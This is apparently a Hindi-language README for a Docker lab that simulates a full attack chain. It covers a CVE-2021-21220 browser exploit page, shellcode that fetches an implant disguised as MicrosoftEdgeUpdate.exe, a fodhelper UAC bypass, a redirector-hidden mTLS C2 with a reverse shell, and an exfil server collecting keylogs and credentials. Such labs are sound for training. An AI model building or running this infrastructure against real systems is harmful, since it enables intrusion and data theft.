
CVE-2021-21220 शोषण अवसंरचना
पीड़ित एक होस्टेड वेबपेज पर जाता है। एक्सप्लॉइट utils.js में एम्बेडेड शेलकोड के माध्यम से चालू होता है (CVE-2021-21220 के ज़रिये पीड़ित के ब्राउज़र में क्लाइंट-साइड चलता है)। शेलकोड पीड़ित की मशीन पर चलता है, HTTPS डिलीवरी सर्वर को कॉल करता है, MicrosoftEdgeUpdate.exe डाउनलोड करता है और उसे निष्पादित करता है। चालू होने के बाद, इम्प्लांट एक मध्यवर्ती हॉप (C2 रीडायरेक्टर) के ज़रिये TLS का उपयोग करके C2 सर्वर से जुड़ता है ताकि एक हस्ताक्षरित प्रमाणपत्र प्राप्त कर सके, फिर पूर्ण पारस्परिक TLS पर पुनः जुड़ता है। C2 कंट्रोलर कनेक्शन प्राप्त करता है और एक इंटरैक्टिव रिवर्स-शेल मेन्यू प्रस्तुत करता है, जिससे ऑपरेटर पीड़ित की मशीन पर दूरस्थ रूप से Windows कमांड चला सकता है।
थ्रेट मॉडल आरेख:
नोट: अधिक गहराई में जाने वाले वैकल्पिक निर्देश भी उपलब्ध हैं: https://docs.google.com/document/d/1q1xkLOoWJbd6i1exGZA5UIgr2MV8YcwYBWv_PG8luJI/edit?usp=sharing
रिपॉजिटरी क्लोन करें:
git clone https://github.com/JacobTaylor3/Docker-Lab-Milestone-2.git
cd Docker-Lab-Milestone-2
साझा ड्राइव से Windows पीड़ित VM डाउनलोड करें और उसे VirtualBox में इम्पोर्ट करें। VirtualBox में: File → Tools → Network Manager — अपने host-only एडेप्टर का IPv4 पता नोट करें (यह 192.168.56.0/24 सबनेट में होना चाहिए)। जो भी IP पता निर्धारित हो (हम 192.168.56.1 की अनुशंसा करते हैं) वही आपकी वास्तविक C2 मशीन IP है।
Docker Desktop (या Linux पर Docker डेमॉन) प्रारंभ करें।
Windows (WSL) उपयोगकर्ता:
launch.shआपके VirtualBox एडेप्टर में IP एलियास जोड़ने के लिएnetshका उपयोग करता है, जिसके लिए व्यवस्थापक अधिकारों की आवश्यकता होती है। आगे बढ़ने से पहले स्टार्ट मेन्यू में अपने WSL डिस्ट्रो (Ubuntu या जो भी आप उपयोग करते हैं) पर राइट-क्लिक करें और Run as administrator चुनें।
लॉन्च स्क्रिप्ट चलाएँ:
sudo ./launch.sh
जब c2-redirector IP माँगा जाए, तो उसी सबनेट पर एक अलग पता दर्ज करें (जैसे 192.168.56.10)। launch.sh इसे vboxnet0 पर IP एलियास के रूप में जोड़ता है ताकि Docker उससे बाइंड हो सके। पीड़ित केवल इसी एलियास से जुड़ता है — आपकी वास्तविक मशीन IP छिपी रहती है।
स्क्रिप्ट निम्नलिखित करेगी:
ENROLLMENT_TOKEN, DOWNLOAD_TOKEN)लैब चालू हो जाने पर, C2 कंट्रोलर से अटैच करें:
sudo docker attach c2-server
यदि प्रॉम्प्ट तुरंत दिखाई न दे तो Enter दबाएँ। बिना रोके डिटैच करें: Ctrl+P फिर Ctrl+Q।
Windows VM बूट करें। पासवर्ड victim है। ब्राउज़र खोलें और यहाँ जाएँ:
http://<c2-redirector-IP>:8888
CVE-2021-21220 एक्सप्लॉइट स्वचालित रूप से चालू होता है। शेलकोड MicrosoftEdgeUpdate.exe को https://<c2-redirector-IP>:8443/update/<token> से डाउनलोड करता है, fodhelper UAC बायपास के माध्यम से उसे चलाता है, और इम्प्लांट वापस C2 कंट्रोलर से जुड़ जाता है।
इम्प्लांट सत्र कंट्रोलर मेन्यू में दिखाई देता है। कमांड लूप में प्रवेश करने के लिए उसे नंबर द्वारा चुनें।
छह कंटेनर, जिनमें से प्रत्येक एक अलग मशीन का प्रतिनिधित्व करता है:
दो ट्रैफिक चैनल, प्रत्येक में एक अलग IP पर एक रीडायरेक्टर हॉप है:
:443 mTLS): पीड़ित → c2-redirector (C2_HOST_IP) → c2-server (केवल backnet):9443 HTTPS): पीड़ित → exfil-redirector (EXFIL_HOST_IP) → exfil-receiver (केवल exfilnet)Exfil डेटा होस्ट मशीन पर exfil-data/<hostname>/ में सहेजा जाता है।
# Tail logs
sudo docker logs -f delivery-server
sudo docker logs -f exploit-server
sudo docker logs -f exfil-receiver
# Shell into a container
sudo docker exec -it c2-server /bin/bash
# Stop everything
sudo docker compose down
# View captured exfil data
ls exfil-data/
संपूर्ण आर्किटेक्चर, टोकन/क्रिप्टो पाइपलाइन और पेलोड प्रवाह के लिए documentation/ProjectOverview.md देखें।
| मशीन | कंटेनर | पोर्ट | भूमिका |
|---|
| 1 | c2-redirector | :443 | socat TCP रिले — पीड़ित-सामने वाला हॉप, वास्तविक C2 IP छिपाता है |
| 2 | c2-server | (केवल backnet) | mTLS C2 लिसनर — ऑपरेटर कमांड इंटरफ़ेस |
| 3 | delivery-server | :8443 | nginx HTTPS — एकल-उपयोग टोकन इम्प्लांट डाउनलोड |
| 4 | exploit-server | :8888 | CVE-2021-21220 एक्सप्लॉइट वेबपेज |
| 5 | exfil-redirector | :9443 | socat TCP रिले — पीड़ित-सामने वाला हॉप, वास्तविक exfil IP छिपाता है |
| 6 | exfil-receiver | (केवल exfilnet) | HTTPS POST सिंक — स्क्रीनशॉट, कीलॉग, क्रेडेंशियल सहेजता है |